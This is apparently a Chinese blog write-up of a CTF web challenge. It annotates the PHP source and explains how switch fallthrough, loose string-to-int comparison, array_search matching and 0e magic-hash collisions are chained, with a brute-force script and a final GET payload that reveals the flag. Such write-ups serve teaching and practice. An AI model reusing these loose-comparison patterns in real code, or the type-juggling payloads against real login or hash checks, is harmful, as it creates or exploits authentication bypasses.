1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
 <?php
show_source(__FILE__);
$a=0;
$b=0;
$c=0;
$d=0;
if (isset($_GET['x1']))
{
$x1 = $_GET['x1'];
$x1=="1"?die("ha?"):NULL;
switch ($x1)
{
case 0: //此处没有break;可以令x1=0
case 1:
$a=1;
break;
}
}
$x2=(array)json_decode(@$_GET['x2']); //传入的x2是json格式的
if(is_array($x2)){
is_numeric(@$x2["x21"])?die("ha?"):NULL; //x21不能是数字或者数字字符
if(@$x2["x21"]){
($x2["x21"]>2017)?$b=1:NULL;
/*x21大于2017,而x21又不能是数字,于是利用php的弱类型的特性,
在与整型进行比较时,对非整型变量会使用intval()将
其转换为整型再比较,于是可以令x21=2018a,其会被转换成2018;*/
}
if(is_array(@$x2["x22"])){//x22是一个数组
if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
//x22这个数组有2个元素,且第一个元素是一个数组
$p = array_search("XIPU", $x2["x22"]);
$p===false?die("ha?"):NULL;
foreach($x2["x22"] as $key=>$val){//遍历数组x22
$val==="XIPU"?die("ha?"):NULL;
}
$c=1;
}
}
$x3 = $_GET['x3'];
if ($x3 != '15562') {
if (strstr($x3, 'XIPU')) {
if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
/*x3经过md5加密后取第8位到16为(从第0为开始),15562经过md5加密过后为 刚好以0e开头,于是利用0e漏洞*/
$d=1;
}
}
}
if($a && $b && $c && $d){
include "flag.php";
echo $flag;
}
?>

本题考察的知识点有:
1.switch case 语句中case的取值,没有break向下取值
2.传入的x2是一个json格式的数据,其中有x21和x22两个成员
3.php的弱类型:在非整型与整形的比较中,php会自动把非整型的用intval()转换为整形再比较
4.php在比较大小时候的0e漏洞利用


###附上爆破x3的脚本###

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$str="XIPU";
for($i=0;$i<999999;$i++)
{
$x3=$str.strval($i);
if (substr(md5($x3),8,16) == substr(md5('15562'),8,16))
{
echo $x3."<br>";
}
}

?>

结果如下:
XIPU18570
XIPU147389
XIPU150292
XIPU313592
XIPU510852
XIPU573493
XIPU588288
XIPU596657
XIPU637757
XIPU771673
XIPU783334
XIPU955113
XIPU984119
XIPU992670


payload:/?x1=0&x2={“x21”:”2018a”,”x22”:[[1],0]}&x3=XIPU147389

最后更新: 2018年01月23日 10:03

原始链接: http://drac0nids.top/2017/10/08/记世安杯一道web题/

× 请我吃糖~
打赏二维码